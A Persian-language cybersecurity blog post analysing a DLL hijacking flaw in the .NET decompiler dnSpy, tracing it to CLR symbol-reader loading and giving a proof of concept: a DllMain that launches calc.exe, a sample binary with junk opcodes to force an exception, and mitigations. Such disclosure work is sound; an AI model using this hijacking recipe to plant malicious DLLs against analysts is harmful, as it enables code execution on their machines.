Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • اجرای کد دلخواه در dnSpy با تکنیک DLL Hijacking + نمونه PoC
  • آسیب پذیری امنیتی
  • اخبار
  • مهندسی معکوس نرم افزار

اجرای کد دلخواه در dnSpy با تکنیک DLL Hijacking + نمونه PoC

On مهر 2, 1402مهر 4, 1402
seyyid
Share
زمان مطالعه: 9 دقیقه

اگه در زمینه مهندسی معکوس کار کرده باشید، قطعا ابزار معروف dnSpy رو شنیدید و استفاده کردید. این ابزار یه دیباگر و ادیتور اسمبلی های دات نتی هست . بطور کلی میتونید یه باینری دات نتی رو بهش بدید و سورس کدهای اونو مشاهده و ویرایش کنید.

با این تفاسیر، این ابزار نقش مهمی رو در تحلیل بدافزارهای دات نتی میتونه داشته باشه. حالا فرض کنید که یه بدافزاری دات نتی رو دارید تحلیل میکنید که این بدافزار، با سوء استفاده از dnSpy ، سیستم شما رو هم آلوده میکنه.

محققا با استفاده از تکنیک DLL Hijacking تونستن کد دلخواه در این ابزار اجرا کنن که در این پست به بررسی اون پرداختیم. البته اگه گزارش رو کامل بخونید، احتمالا میتونید از این تکنیک در برنامه های دات نتی دیگه هم استفاده کنید.

آسیب پذیری نسخه های 6.1.8 تا 6.4.0 رو تحت تاثیر میزاره و نسخه های 6.4.1 به بالا ، نسخه های اصلاح شده هستن.

نکته: قبل از اینکه ادامه مقاله رو بخونید، حتما نسخه اصلاح شده رو دانلود و نصب کنید. (هکرهای کره شمالی از آنچه فکر میکنید به شما نزدیکترند)

 

هکرهای کره شمالی

 

برنامه های Self-Contained :

برنامه نویسی با استفاده از زبانهای دات نتی ، مانند سی شارپ، یه مشکلی که داره اینکه هر باینری که کامپایلر تولید میکنه، نیاز به یه runtime برای اجرا داره.

برنامه نویسا برای اینکه بتونن این مشکل رو حل کنن، از نسخه های پایین دات نت استفاده میکنن تا افراد زیادی اونو نصب شده در سیستم داشته باشن ، یا از نسخه پیش فرض دات نت استفاده کنن یا از نسخه ای که توسط برنامه های دیگه زیاد استفاده میشه، استفاده میکنن . مثلا ویندوز 10 بصورت پیش فرض با نسخه های 4.6 و 4.8.1 منتشر شده، بنابراین طبیعتا این دو نسخه میتونه یه انتخاب خوب برای برنامه نویسا باشه.

با توجه به اینکه در حال نزدیک شدن به انتشار نسخه dotNEt 8 هستیم، استفاده از نسخه های پایینتر ، موجب عدم استفاده از ویژگی ها و بهبودهایی که در نسخه های بالاتر ارائه شدن، میشه. بخصوص نسخه های آخر که با معرفی SPAN<T> و بهبودهای زیاد که در JIT انجام دادن ، ویژگی های جالبی رو ارائه دادن.

با معرفی نسخه ی dotNET Core 3.1 ، مایکروسافت یه روش جایگزین برای این مورد معرفی کرد. اکنون بجای اینکه انتظار داشته باشید، کاربرا وابستگی های مورد نیاز رو نصب کنن، میتونید برنامه اتون رو بصورت مستقل (self-contained) منتشر کنید. بطور کلی این ویژگی یعنی اینکه، به کامپایلر میگید تا موقع خروجی گرفتن، همه وابستگی های مورد نیاز برای اجرای برنامه اتون، از جمله dotNET runtime ، رو در خروجی اعمال کنه. این قضیه مشکل نصب وابستگی ها در سمت کاربر رو حل و امکان اجرای برنامه در ماشین های مختلف رو فراهم میکنه.

 

برنامه با ویژگی self-contained
برنامه بدون ویژگی self-contained

بررسی dnSpy و وابستگی های اون :

برنامه dnSpy از جمله برنامه های دات نتی هست که بصورت self-contained منتشر شده. بنابراین اگه در کنار برنامه، DLLهای زیادی رو که بخشی از dotNET runtime هستن رو ببینیم ، مثله coreclr.dll ، جای تعجب نداره.

 

dllهای dnspy

 

dnSpy همچنین به یسری کتابخونه دیگه هم وابستگی داره. از جمله ، dnlib که dnSpy در هسته خودش برای خوندن و نوشتن باینری های دات نتی بهش نیاز داره. خود dnlib به یه DLL دیگه ای بنام Microsoft.DiaSymReader.Native.amd64.dll وابستگی داره. dnlib ازش برای استخراج و خوندن متادیتا از فایلهای PDB استفاده میکنه. فایلهای Program database یا به اختصار PDB از جمله فایلهای مفید در مهندسی معکوس هستن و این امکان رو به محقق میدن تا اطلاعات دیباگ مانند نام متغیرهای محلی و … رو در خصوص باینری دیکامپایل شده استخراج کنن .

خود dnlib با یه نسخه از Microsoft.DiaSymReader.Native.amd64.dll ارائه نمیشه. چون این کتابخونه در سی پلاس نوشته شده و برای پلتفرم ویندوزی هستش. هاردلینک کردن به این کتابخونه، امکان چند پلتفرمی رو از dnlib میگیره. توسعه دهنده به دلیل اینکه ویژگی های ارائه شده توسط اون زیاد توسط dnlib استفاده نمیشه، ترجیح داده بصورت مستقیم بهش ارجاع نده.

با این حال ، dnSpy با نسخه شخصی Microsoft.DiaSymReader.Native.amd64.dll بعنوان بخشی از کتابخونه های self-contained runtime ارائه میشه و dnlib از این DLL استفاده میکنه.

 

Microsoft.DiaSymReader.Native.amd64.dll

 

همونطور که احتمالا حدس زدید، مشکل به همین DLL برمیگرده.

 

 

یه رویداد لوود DLL عجیب :

Ellie یکی از دوستان محقق ، در بررسی، یسری بدافزار دات نتی در برنامه Procmon ، متوجه رویداد لوود Microsoft.DiaSymReader.Native.amd64.dll از مسیرهای دیگه ای غیر از فولدر برنامه dnSpy شده. محقق اومده این رویداد رو در سیستم خودش باز تولید کرده و متوجه شده که این لوود در مواردی از طریق Windows SDK انجام میشه، نه از نسخه ای که همراه dnSpy ارائه شده :

 

لوود از sdk

 

در ویندوز برای اینکه برنامه از یه DLL استفاده کنه، براساس یه الگوریتم جستجوی خاص، یسری فولدرها و مسیرها برای پیدا کردن و لوود DLL ، بررسی میشه. معمولا این شکلیه که اول فولدر خود برنامه، بعدش دایرکتوری System32 و بعدش دایرکتوریهای تعریف شده در متغیر محیطی PATH بررسی میشن.

این الگوریتم جستجو، پای حمله DLL Hijacking رو وسط میکشه. فرض کنید برنامه یه DLL رو از System32 میخونه، ما اگه یه DLL مشابه نام اون بسازیم و در کنار برنامه بزاریم، برنامه وقتی نیاز به DLL داشته باشه و بخواد اونو لوود کنه، اول میره سراغ دایرکتوری برنامه، و در نتیجه DLL ما بجای DLL واقعی اجرا میشه. بازیگران تهدید با اینجکت کردن کدهای مخرب، مثلا شلکدهای دانلود یه فایل، یا reverse shell ، از این تکنیک بارها استفاده کردن.

dnSpy با توجه به اینکه دارای ویژگی Windows Integration هم هستش، این حمله رو جالبتر میکنه. این ویژگی گزینه ی Open with dnSpy رو به منوهای Windows Explorer اضافه میکنه که کاربر میتونه با کلیک راست روی فایل و انتخاب این گزینه، اونو مستقیم در dnSpy باز کنه.

 

ویژگی Windows Explorer integration

 

خیلیا برای استفاده راحت، این ویژگی رو فعال کردن، اما بدتر از اون اینه که اصلا نیاز به فعال کردن این ویژگی هم نیست، چون میشه باینری رو به برنامه کشید و در dnSpy بازش کرد :

 

کشیدن و باز کردن فایل در dnSpy

 

در هر دو مورد، Windows Explorer یه پروسس جدیدی از dnSpy با دایرکتوری که باینری توش بوده رو ایجاد میکنه :

 

دایرکتوری جاری

 

این به این معنی هستش که اگه dnSpy رو فریب بدیم که Microsoft.DiaSymReader.Native.amd64.dll رو لوود کنه، در عین حال DLL مخربمون رو در همون دایرکتوری که فایل نمونه برای بررسی در dnSpy قرار باز بشه، قرار بدیم، و کاربر رو فریب بدیم که این فایل رو از دایرکتوری کاری جاری باز کنه (معملا اینجوریه) ، بنابراین dnSpy میاد و DLL مخرب مارو لوود و اجرا میکنه.

محقق با بررسی متوجه شده که این لوود همیشه اتفاق نمی افته بنابراین اومده مشکل رو بررسی کرده و اینکه چیکار کنه که dnSpy همیشه DLL رو از دایرکتوری کاری جاری لوود کنه .

در قدم اول به دلیل اینکه dnlib از این DLL استفاده میکنه ، سراغ اون رفته و متوجه شده که ایراد کاملا از اون نیست. کد زیر این واقعیت رو نشون میده که برای جستجوی DLL ،محدود به دایرکتوری جاری و مسیرهای ایمن از پیش تعریف شده هستش:

 

C#
1
2
3
4
5
6
7
8
static class SymbolReaderWriterFactory {
    /* ... */
 
    [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories | DllImportSearchPath.AssemblyDirectory)]
    [DllImport("Microsoft.DiaSymReader.Native.amd64.dll", EntryPoint = "CreateSymReader")]
    static extern void CreateSymReader_x64(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object symReader);
 
    /* ... */

 

همچنین dnlib ، تمایل داره که از پیاده سازی کامل مدیریت شده خودش بعنوان یه PDB reader برای استخراج مقادیر زیادی از اطلاعات مورد نیازش استفاده کنه . dnSpy هیچکدوم از گزینه های پیش فرض رو موقع لوود symbolها تغییر نمیده ، بنابراین اگه محدودیت های مسیرهای جستجوی DLLها هم درست تنظیم نشده باشه، dnlib هرگز دستور لوود Microsoft.DiaSymReader.Native.amd64.dll رو وقتی داره symbolها رو واکشی میکنه، نمیگیره.

در ادامه محقق رفته سراغ بررسی CLR . با بررسی سورس کدهایی که مسئول جستجوی مسیرهای DLL هستن، مورد مشکوکی رو مشاهده نکرده.

محقق با بررسی بیشتر متوجه شده که وقتی dnSpy نمیتونه یه باینری رو بصورت کامل دیکامپایل کنه، این لوود DLL از SDK همیشه رخ میده. در چنین موردی ، موتور ILSpy ، یه استثناء ایجاد میکنه و dnSpy اونو میگیره و بصورت کامنت نشونش میده.

با وارد کردن dnSpy به windbg ، میشه منشاء لوود واقعی ماژول رو مشاهده کرد. همونطور که قابل مشاهده هست این مشکل از dnlib نیست و از فراخوانی Exception::get_StackTrace میاد :

 

Call stack بعد از لوود dll

 

dotNET runtime برای کمک به توسعه دهندگان برای رفع باگهاشون، stack trace رو با اطلاعات بیشتری مانند مسیر فایلها و شماره خطوط در صورت امکان ، ارائه میده. برای ارائه این اطلاعات ، dotNET runtime از Debugging Interface Access (DIA) خودش برای خوندن فایلهای PDB باینری که منجر به استثناء شده، استفاده میکنه.

برای ارائه اطلاعات بیشتر ، CLR نمونه ای از ISymUnmanagedBinder رو با فراخوانی FakeCoCreateInstanceEx ، که یه تابع مانند CoCreateInstanceEx هستش اما مسیری DLL رو دریافت میکنه، میگیره. فراخوانی FakeCoCreateInstanceEx رو میتونید ، اینجا مشاهده کنید. قسمتی از کدی که به DLL مورد بحث ما اشاره داره رو میتونید در زیر مشاهده کنید :

 

ceeload.h
C++
1
2
3
4
ceeload.h
/* ... */
#define NATIVE_SYMBOL_READER_DLL W("Microsoft.DiaSymReader.Native.arm64.dll")
/* ... */

 

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ceeload.cpp
 
/* ... */
 
// We're going to be working with Windows PDB format symbols. Attempt to CoCreate the symbol binder.
// CoreCLR supports not having a symbol reader installed, so CoCreate searches the PATH env var
// and then tries coreclr dll location.
// On desktop, the framework installer is supposed to install diasymreader.dll as well
// and so this shouldn't happen.
hr = FakeCoCreateInstanceEx(CLSID_CorSymBinder_SxS, NATIVE_SYMBOL_READER_DLL, IID_ISymUnmanagedBinder, (void**)&pBinder, NULL);
if (FAILED(hr))
{
    PathString symbolReaderPath;
    hr = GetClrModuleDirectory(symbolReaderPath);
    if (FAILED(hr))
    {
        RETURN (NULL);
    }
    symbolReaderPath.Append(NATIVE_SYMBOL_READER_DLL);
    hr = FakeCoCreateInstanceEx(CLSID_CorSymBinder_SxS, symbolReaderPath.GetUnicode(), IID_ISymUnmanagedBinder, (void**)&pBinder, NULL);
    if (FAILED(hr))
    {
        RETURN (NULL);
    }
}
 
/* ... */

 

همونطور که از کامنتها و کد قابل درکه، CLR ترجیح میده از یه مسیر نسبی برای Microsoft.DiaSymReader.Native.arm64.dll استفاده کنه که باعث میشه برای پیاده سازی DIA ،مسیر جاری (همچنین working directory) رو بررسی کنه. خوشبختانه با Pull Request #87782 ، با حذف فراخوانی اول، این مشکل رو اصلاح کرده و همیشه با استفاده از GetClrModuleDirectory مستقیما سراغ دایرکتوری نصب CLR میره تا DLL رو پیدا کنه. این اصلاحیه از نسخه ی dotNET 6.0.20 ارائه شده و با بروزرسانی ویندوز مشکل حل شده.

اما با توجه به اینکه dnSpy یه برنامه ی self-contained هستش، نسخه ی coreclr.dll هنوز بروز نشده و آسیب پذیر هستش. این یکی از مشکلات برنامه های مستقل هستش، توسعه دهندگان باید مراقب باشن تا باینری هاشون با بروزرسانی های امنیتی ، بروز شده باشه.

پس بطور کلی وقتی یه استثناء رخ میده، یه stack trace درخواست میشه و runtime میاد و Microsoft.DiaSymReader.Native.amd64.dll رو از current working directory لوود میکنه، برخلاف روشی که خود باینری انجام میده.

 

توسعه اکسپلویت

خب حالا ما روشی رو برای اجرای کد در dnSpy داریم و برای توسعه اکسپلویت، میخواییم کاری کنیم تا ماشین حساب اجرا بشه.

قدمهایی که باید طی کنیم اینا هستن :

  • یه DLL با عنوان Microsoft.DiaSymReader.Native.amd64.dll ایجاد کنیم که در DllMain اش، calc.exe رو اجرا کنه.
  • یه نمونه ایجاد کنیم که در dnSpy منجر به ایجاد استثناء شده و یه stack trace درخواست کنه و خطا رو پرینت کنه.
  • DLL رو در کنار نمونه ساخته شده قرار بدیم.

خب قدم اول که ساده هستش فقط کافیه یه پروژه Cpp DLL در ویژوال استدیو با نام Microsoft.DiaSymReader.Native.amd64.dll ایجاد کنید و با استفاده از WinExec در DllMain اش، برنامه calc.exe رو فراخوانی کنیم :

 

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "pch.h"
 
BOOL APIENTRY DllMain(
    HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        WinExec("calc.exe", 0);
        break;
    }
    return TRUE;
}

 

قدم دوم هم ساده هستش. همونطور که قبلا گفته شد، موتور دیکامپایلر ILSpy وقتی در دیکامپایل یه متد با خطا مواجه میشه، یه پیام کامل از خطا رو نشون میده. خب ما میتونیم یه برنامه Hello World بنویسیم و یه متد ساختگی به کلاس اصلی اون اضافه کنیم و کد رو با برخی داده های ناخواسته جایگزین کنید تا به دستورات CIL معتبری دیکد نشه و در نتیجه ، دیکامپایل نشه و استثناء رو تولید کنه.

 

C#
1
2
3
4
5
6
7
public static class Program
{
    public static void Main() => Console.WriteLine("Hello, world!");
 
    // Replace some opcode bytes of the following method body with some junk.
    private static void Dummy() => Console.WriteLine("This is never called");
}

 

خب قدم سوم هم که این دو تا فایل کنار هم قرار میدید.

نمونه PoC ارائه شده رو میتونید از اینجا دانلود کنید. (در ماشین مجازی یا محیط امن تست کنید)

در ویدیو زیر یه دمو از اجرای این PoC رو مشاهده میکنید.

 

 

اقدامات امنیتی :

  • هر بروزرسانی در runtime ، نیاز به بروزرسانی برنامه های مستقل داره.
  • ماشین های مجازی مانند دات نت ، نوید یه محیط امن رو میدن، در بیشتر موارد حق با اوناست اما مواردی هم هستش که منجر به آسیب پذیری میشه از جمله اجرای کد همونطور که در این پست مشاهده کردیم. بنابراین از یه محیط سندباکس برای اجرای برنامه های ناشناخته استفاده کنید. شما نمیدونید افراد دیگه چه آسیب پذیری هایی رو کشف کردن یا در حال اکسپلویت چه آسیب پذیریهایی هستن.
  • در نهایت نسخه جدید dnSpy رو دریافت و استفاده کنید.

 

 

منبع

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار مهندسی معکوس نرم افزارIn DLL hijacking , dnSpy , ILSpy , symbol , windbg , برنامه های Self-Contained , مایکروسافت , مهندسی معکوس دات نت

راهبری نوشته

سیسکو با خرید 28 میلیارد دلاری اسپلانک، وارد SIEM میشه
کی سونی رو هک کرده ؟!

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • امنیت وب
  • انتشارات
  • باگ بانتی
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • مقالات
  • مهندسی معکوس نرم افزار
seyyid
On اردیبهشت 1, 1404اردیبهشت 28, 1404

آشنایی با MCP همراه با مثالهایی از دنیای امنیت سایبری

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On اردیبهشت 30, 1403

اصلاح 31 آسیب پذیری در محصولات اپل

  • آسیب پذیری امنیتی
  • اخبار
  • بازیگران تهدید
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • مقالات
seyyid
On دی 2, 1401دی 19, 1401

بررسی CVEهای پر سر و صدای این هفته (14 تا 20 آبان 1401)+ نگاه یک ماهه

  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
seyyid
On بهمن 20, 1401فروردین 28, 1402

آسیب پذیری RCE در vBulletin <= 5.6.9

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت لینوکس مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404